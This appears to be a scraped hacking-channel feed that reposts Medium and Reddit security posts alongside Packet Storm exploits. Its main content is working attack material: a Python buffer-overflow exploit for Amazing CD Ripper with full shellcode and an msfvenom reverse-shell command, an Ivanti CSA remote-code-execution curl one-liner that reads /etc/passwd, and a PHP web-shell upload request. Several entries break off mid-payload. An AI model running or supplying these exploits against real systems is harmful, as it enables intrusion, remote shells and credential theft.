Hacking on Medium
Matrix 3 VM Walkthrough

https://cdn-images-1.medium.com/max/768/0*9jvun0V5JdmdalUz
Makineyi indirebilirsiniz.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Vortex - VPN Overall Reconnaissance, Testing, Enumeration And eXploitation Toolkit

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Intercept API Calls of a PE

submitted by /u/r3drush
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How would I setup a hacking challenge?

I invented this tool (https://github.com/ki4jgt/Inertia), and have been told numerous times that it's insecure/a bad idea. But no one's been able to tell me exactly why. I've asked questions about it on Stackoverflow, and had programmers tell me that's it's not a great idea, and doesn't really secure passwords.

To me, it seems no different than having a password manager, with a master password on your desktop. Can someone tell me what's so bad about this? Or is it just a general feeling everyone has?

How would I challenge people to break it? I haven't changed my GitHub password to Goddard yet, but that's the challenge I have currently.

submitted by /u/ki4jgt
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

DNS Caches not encrypted
https://www.reddit.com/r/Pentesting/comments/tjmwlp/dns_caches_not_encrypted/

I am working on a testing of a small home based router. I can see that there is dns cache feature enabled on that device where user requests are cached. I have had read about DNSSEC before and I believe cache that is being stored locally on these small routers do not have encryption enabled. My specific questions are: 1. Is this an issue? Theoretically may be since cache responses that are stored in device are not encrypted. 2. Is DNSSEC only way to encrypt those responses? Thank you much in advance. submitted by /u/Creepy-Trust-9581 (https://www.reddit.com/user/Creepy-Trust-9581)
[link] (https://www.reddit.com/r/Pentesting/comments/tjmwlp/dns_caches_not_encrypted/) [comments] (https://www.reddit.com/r/Pentesting/comments/tjmwlp/dns_caches_not_encrypted/)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Amazing CD Ripper 1.2 Buffer Overflow

https://4.bp.blogspot.com/-gQsa2Au6OFw/WWlvKe9cGFI/AAAAAAAAIME/7MuhuX3Jqy0CeEu0oyVXmXST8BDpKvIGgCLcBGAs/s1600/h15.png Amazing CD Ripper version 1.2 suffers from a buffer overflow vulnerability.

MD5 | 109eebb49df171d38123922bad1203d3Download # Exploit Title: Amazing CD Ripper v1.2 - Buffer Overflow
# Exploit Author: Hejap Zairy
# Date: 03.08.2022
# Software Link: http://www.shelltoys.com/cd_ripper.exe
# Software Link: https://web.archive.org/web/20160313071152/http://www.shelltoys.com/cd_ripper.exe
# Tested Version: v1.2.1
# Tested on: Windows 10 64bit

# 1.- Run python code : 0day-Hejap_Zairy.py
# 2.- Open 0day_Hejap.txt and copy All content to Clipboard
# 3.- Open Amazing CD Ripper and press Enter Code
# 4.- Paste the Content of 0day_Hejap.txt into the 'Enter Code'
# 5.- Click 'OK'

# Author Code By Hejap Zairy
#CVE-2022-0x515
#!/usr/bin/env python

from pwn import *

buffer = "\x41" * 1016
# 0x100017a1 : push esp # ret | null {PAGE_EXECUTE_READ} [akrip32.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.0rc2 (C:\Program Files (x86)\Shelltoys\Amazing CD Ripper\akrip32.dll)

push_esp = p32(0x100017a1) #push esp ret ret from akrip32.dll
nops = "\x90" * 15 #515 tshhh theardlooo love Malware
#msfvenom --arch x64 windows/x64/shell_reverse_tcp lhost=ip lport=443 -f python -e x64/shikata_ga_nai -b "\x00\x0a\x0d\x20\xff"
#msfvenom --arch x64 -p windows/x64/messagebox TEXT="0day Hejap Zairy" -f python -e x64/shikata_ga_nai EXITFUNC=thread -b "\x00\x0a\x0d\x20\xff"
buf = b""
buf += b"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00"
buf += b"\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b"
buf += b"\x52\x60\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e"
buf += b"\x48\x8b\x72\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
buf += b"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9"
buf += b"\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x3e\x48\x8b\x52"
buf += b"\x20\x3e\x8b\x42\x3c\x48\x01\xd0\x3e\x8b\x80\x88\x00"
buf += b"\x00\x00\x48\x85\xc0\x74\x6f\x48\x01\xd0\x50\x3e\x8b"
buf += b"\x48\x18\x3e\x44\x8b\x40\x20\x49\x01\xd0\xe3\x5c\x48"
buf += b"\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
buf += b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
buf += b"\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd6"
buf += b"\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41\x8b"
buf += b"\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
buf += b"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41"
buf += b"\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0"
buf += b"\x58\x41\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff"
buf += b"\x5d\x49\xc7\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a"
buf += b"\x01\x00\x00\x3e\x4c\x8d\x85\x2b\x01\x00\x00\x48\x31"
buf += b"\xc9\x41\xba\x45\x83\x56\x07\xff\xd5\xbb\xe0\x1d\x2a"
buf += b"\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28"
buf += b"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72"
buf += b"\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x30\x64\x61\x79"
buf += b"\x20\x48\x65\x6a\x61\x70\x20\x5a\x61\x69\x72\x79\x00"
buf += b"\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x00"
padding ="C" * (len(buffer) - len(push_esp) - len(nops))
payload = buffer + push_esp + nops + buf + padding
try:
with open("0day_Hejap.txt","wb") as f:
print("[+] Creating %s Shellcode 0day-Hejap payload.." %len(payload))
f.write(payload)
f.close()
print("[+] File created!")
except:
print("[-]File cannot be created")
# Proof and Exploit:
https://i.imgur.com/3r5sKNo.png Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Ivanti Endpoint Manager CSA 4.5 / 4.6 Remote Code Execution

https://2.bp.blogspot.com/-v3K-Hxbn0Es/WWlvhvX1clI/AAAAAAAAIQY/UsJ0X_N1RWgdGsUiiIhYa-pG6QWPEsSmwCLcBGAs/s1600/h91.png
Ivanti Endpoint Manager CSA versions 4.5 and 4.6 suffer from an unauthenticated remote code execution vulnerability.

MD5 | 59d3bc20720bd412425b82923627b636

Download
# Exploit Title: Ivanti Endpoint Manager - Cloud Service Appliance (Unauthenticated Remote Code Execution)
# Date: 20/03/2022
# Exploit Author: d7x
# Vendor Homepage: https://www.ivanti.com/
# Software Link: https://forums.ivanti.com/s/article/Customer-Update-Cloud-Service-Appliance-4-6
# Version: CSA 4.6 4.5 - EOF Aug 2021
# Tested on: Linux x86_64 # CVE : CVE-2021-44529
# CVE : CVE-2021-44529

###
This is the RCE exploit for the following advisory (officially discovered by Jakub Kramarz):
https://forums.ivanti.com/s/article/SA-2021-12-02?language=en_US

Shoutouts to phyr3wall for providing a hint to where the obfuscated code relies

@d7x_real
https://d7x.promiselabs.net
https://www.promiselabs.net
###

# cat /etc/passwd
curl -i -s -k -X $'GET' -b $'e=ab; exec=c3lzdGVtKCJjYXQgL2V0Yy9wYXNzd2QiKTs=; pwn=; LDCSASESSID=' 'https://.../client/index.php' | tr -d "\n" | grep -zPo '
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
OX App Suite 7.10.5 Cross Site Scripting

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Xlight FTP 3.9.3.2 Buffer Overflow

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Poultry Farm Management System 1.0 Shell Upload

https://1.bp.blogspot.com/-LuDwp3Oo6oc/WWlvICvnykI/AAAAAAAAILo/OetpmDNBdyImnh7DlH6SrwI0NyzSCKSJACLcBGAs/s1600/h142.png Poultry Farm Management System version 1.0 suffers from a remote shell upload vulnerability.

MD5 | 7104f993bb5fb789519041690c5bd132Download # Title: Poultry Farm Management System 1.0 Remote Code Execution (RCE)
# Author: Hejap Zairy
# Date: 20.07.2022
# Vendor: https://www.sourcecodester.com/php/15230/poultry-farm-management-system-free-download.html
# Software: https://www.sourcecodester.com/sites/default/files/download/oretnom23/Redcock-Farm.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache

registered user can bypass waf upload .php.png files in attachments section with use of intercept tool in burbsuite to edit the raw
#vulnerability Code php
Needs more filtering to upload profile files

```php
if(isset($_POST['submit']))
{
$adminid=$_SESSION['odmsaid'];
$productname=$_POST['productName'];
$productimage1=$_FILES["productimage1"]["name"];
move_uploaded_file($_FILES["productimage1"]["tmp_name"],"profileimages/".$_FILES["productimage1"]["name"]);
$sql="update tbladmin set Photo=:productimage1 where ID=:aid";
$query = $dbh->prepare($sql);
$query->bindParam(':productimage1',$productimage1,PDO::PARAM_STR);
$query->bindParam(':aid',$pid,PDO::PARAM_STR);
$query->execute();
$_SESSION['msg']="profile Image Updated Successfully !!";
}
?>
```
[+] Payload POST
```
POST /Redcock-Farm/farm/update_image.php?id=2 HTTP/1.1
Host: 0day.gov
Cookie: PHPSESSID=2vah9hmhjf85ichdav814rhcgu
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------409902128312379197203124536738
Content-Length: 882
Origin: https://0day.gov
Referer: https://0day.gov/Redcock-Farm/farm/update_image.php?id=2
Upgrade-Insecure-Requests: 1
Te: trailers
Connection: close

-----------------------------409902128312379197203124536738
Content-Disposition: form-data; name="productName"
Hejap Zairy
-----------------------------409902128312379197203124536738
Content-Disposition: form-data; name="productimage1"; filename="0day_hejap.php"
Content-Type: image/png

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
ICT Protege GX/WX 2.08 Cross Site Scripting

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
ICT Protege GX/WX 2.08 Client-Side SHA1 Password Hash Disclosure

https://2.bp.blogspot.com/-S-N0q2XL8x8/WWlu5FDj1eI/AAAAAAAAIJA/vGskVQb_QegQZ0-UZMHSDeFJ08ju6pdGQCLcBGAs/s1600/h104.png
ICT Protege GX/WX version 2.08 suffers from a client-side SHA1 password hash disclosure vulnerability.

MD5 | f76c2764154deda7e495e4c51aad1032

Download

ICT Protege GX/WX 2.08 Client-Side SHA1 Password Hash Disclosure
Vendor: Integrated Control Technology Ltd.
Product web page: https://www.ict.co
Affected version: GX: Ver: 2.08.1002 K1B3
Lib: 04.00.217
Int: 2.3.235.J013
OS: 2.0.20
WX: Ver: 4.00 284 H062
App: 02.08.766
Lib: 04.00.169
Int: 02.2.208

Summary: Protege GX is an enterprise level integrated access control, intrusion
detection and building automation solution with a feature set that is easy to
operate, simple to integrate and effortless to extend. Protege WX is an all-in-one,
web-based, cross-platform system that gives you a fully functional access control
and intrusion detection solution in a fraction of the time of conventional software.
With no software to install, setup is quick and simple. Connect the Controller and
system components, then open a web browser to launch the intuitive wizard-driven
interface which guides you through the process of configuring your system.

Desc: The application is vulnerable to improper access control that allows an
authenticated operator to disclose SHA1 password hashes (client-side) of other
users/operators.

Tested on: Microsoft-WinCE/6.00
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2022-5700
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5700.php
08.02.2022

--
Navigate to http://CONTROLLER_IP/operator.htm

Source:
Password

...
...

...

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video